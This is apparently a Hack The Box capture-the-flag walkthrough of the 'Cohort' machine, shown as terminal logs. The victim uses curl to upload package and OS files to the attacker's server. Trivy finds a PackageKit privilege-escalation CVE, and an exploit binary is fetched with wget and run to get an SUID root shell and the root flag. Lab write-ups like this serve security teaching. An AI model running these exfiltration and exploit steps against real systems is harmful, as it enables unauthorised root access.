Get:1 http://kali.download/kali kali-rolling/main amd64 trivy amd64 0.66.0-0kali1 [47.1 MB]
Fetched 47.1 MB in 28s (1,698 kB/s)
Selecting previously unselected package trivy.
(Reading database ... 604254 files and directories currently installed.)
Preparing to unpack .../trivy_0.66.0-0kali1_amd64.deb ...
Unpacking trivy (0.66.0-0kali1) ...
Setting up trivy (0.66.0-0kali1) ...
Processing triggers for kali-menu (2025.3.0) ...
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ mkdir -p rootfs/var/lib/dpkg rootfs/etc
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$
Get dpkg status file and os-release Result at attacker machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ cd rootfs/var/lib/dpkg
┌──(nhannha㉿conmeo)-[~/…/rootfs/var/lib/dpkg]
└─$ python3 -m uploadserver 8881
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8881 (http://0.0.0.0:8881/) ...
10.129.20.161 - - [08/Aug/2026 23:27:48] [Uploaded] "status" --> /home/kali/htbMachine/season-11/Cohort/rootfs/var/lib/dpkg/status
10.129.20.161 - - [08/Aug/2026 23:27:48] "POST /upload HTTP/1.1" 204 -
^C
Keyboard interrupt received, exiting.
┌──(nhannha㉿conmeo)-[~/…/rootfs/var/lib/dpkg]
└─$ ls
status
┌──(nhannha㉿conmeo)-[~/…/rootfs/var/lib/dpkg]
└─$ cd ../..
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/var]
└─$ ls
lib
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/var]
└─$ cd ,,
cd: no such file or directory: ,,
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/var]
└─$ cd ..
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/rootfs]
└─$ ls
etc var
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/rootfs]
└─$ cd etc
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/etc]
└─$ ls
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/etc]
└─$ python3 -m uploadserver 8881
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8881 (http://0.0.0.0:8881/) ...
10.129.20.161 - - [08/Aug/2026 23:29:05] [Uploaded] "os-release" --> /home/kali/htbMachine/season-11/Cohort/rootfs/etc/os-release
10.129.20.161 - - [08/Aug/2026 23:29:05] "POST /upload HTTP/1.1" 204 -
^C
Keyboard interrupt received, exiting.
┌──(nhannha㉿conmeo)-[~/…/season-11/Cohort/rootfs/etc]
└─$ cd ..
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/rootfs]
└─$ tree
.
├── etc
│ └── os-release
└── var
└── lib
└── dpkg
└── status
5 directories, 2 files
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/rootfs]
└─$
Victim result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
marimo@cohort:~$ ls -la /var/lib/dpkg/status
-rw-r--r-- 1 root root 667567 Jul 28 11:24 /var/lib/dpkg/status
marimo@cohort:~$ head -n 10 /var/lib/dpkg/status
Package: adduser
Status: install ok installed
Priority: important
Section: admin
Installed-Size: 452
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Architecture: all
Multi-Arch: foreign
Version: 3.137ubuntu1
Depends: passwd
marimo@cohort:~$ curl "http://10.10.17.79:8881/upload" -F 'files=@/var/lib/dpkg/status'
marimo@cohort:~$ curl "http://10.10.17.79:8881/upload" -F 'files=@/etc/os-release'
marimo@cohort:~$
Adding available to fix error.
1
2
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ touch rootfs/var/lib/dpkg/available
The result return an interesting CVE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
│ ├────────────────┤ │ │ ├──────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2026-64531 │ │ │ │ │ kernel: net: openvswitch: reject oversized nested action │
│ │ │ │ │ │ │ attrs │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-64531 │
├───────────────────────────────────────┼────────────────┤ ├──────────┼───────────────────┼──────────────────┼──────────────────────────────────────────────────────────────┤
│ packagekit │ CVE-2026-41651 │ │ fixed │ 1.2.8-2ubuntu1.2 │ 1.2.8-2ubuntu1.5 │ PackageKit: race condition vulnerability leads to arbitrary │
│ │ │ │ │ │ │ package installation as root │
│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41651 │
├───────────────────────────────────────┤ │ │ │ │ │ │
│ packagekit-tools │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
└───────────────────────────────────────┴────────────────┴──────────┴──────────┴───────────────────┴──────────────────┴──────────────────────────────────────────────────────────────┘
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ trivy rootfs rootfs/ --distro ubuntu/24.04 --severity HIGH,CRITICAL
I found the exploit on github
Download it and upload it to the target machine Attacker result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ ls
CVE-2026-41651 lse.sh port.txt rootfs test.py
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort]
└─$ cd CVE-2026-41651
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/CVE-2026-41651]
└─$ ls
cve-2026-41651 Dockerfile Makefile README.md src
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/CVE-2026-41651]
└─$ file cve-2026-41651
cve-2026-41651: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e5e46702d83bd4418094c853c45a240e4e64326, for GNU/Linux 4.4.0, not stripped
┌──(nhannha㉿conmeo)-[~/htbMachine/season-11/Cohort/CVE-2026-41651]
└─$ python3 -m http.server 8881
Serving HTTP on 0.0.0.0 port 8881 (http://0.0.0.0:8881/) ...
10.129.20.161 - - [09/Aug/2026 00:04:16] "GET /cve-2026-41651 HTTP/1.1" 200 -
Target result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
marimo@cohort:~$ wget http://10.10.17.79:8881/cve-2026-41651
--2026-08-09 04:03:48-- http://10.10.17.79:8881/cve-2026-41651
Connecting to 10.10.17.79:8881... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27544 (27K) [application/octet-stream]
Saving to: ‘cve-2026-41651’
cve-2026-41651 100%[=====================================>] 26.90K 71.4KB/s in 0.4s
2026-08-09 04:03:50 (71.4 KB/s) - ‘cve-2026-41651’ saved [27544/27544]
marimo@cohort:~$ dpkg check libglib2.0-dev
dpkg: error: need an action option
Type dpkg --help for help about installing and deinstalling packages [*];
Use 'apt' or 'aptitude' for user-friendly package management;
Type dpkg -Dhelp for a list of dpkg debug flag values;
Type dpkg --force-help for a list of forcing options;
Type dpkg-deb --help for help about manipulating *.deb files;
Options marked [*] produce a lot of output - pipe it through 'less' or 'more' !
marimo@cohort:~$ dpkg -l libglib2.0-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-=================================
un libglib2.0-dev <none> <none> (no description available)
marimo@cohort:~$
Start the exploit and get the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
marimo@cohort:~$ chmod +x cve-2026-41651
marimo@cohort:~$ ./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-2049.deb
[+] payload : /tmp/.pk-payload-2049.deb
[*] Transaction : /2_bcdaeccd
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 0 ms)
[*] Loop ran for 36 ms
[*] Polling for payload (120 s max)...
[*] t+1s: payload=exists dpkg_lock=free suid=not yet
[*] t+2s: payload=exists dpkg_lock=free suid=not yet
[+] SUCCESS — SUID bash at t+1200ms
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
.suid_bash: cannot set terminal process group (-1): Inappropriate ioctl for device
.suid_bash: no job control in this shell
.suid_bash-5.2# id
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
.suid_bash-5.2# cat /root/root.txt
xxxx32fceb744a11c675b7f884f8af
.suid_bash-5.2#



























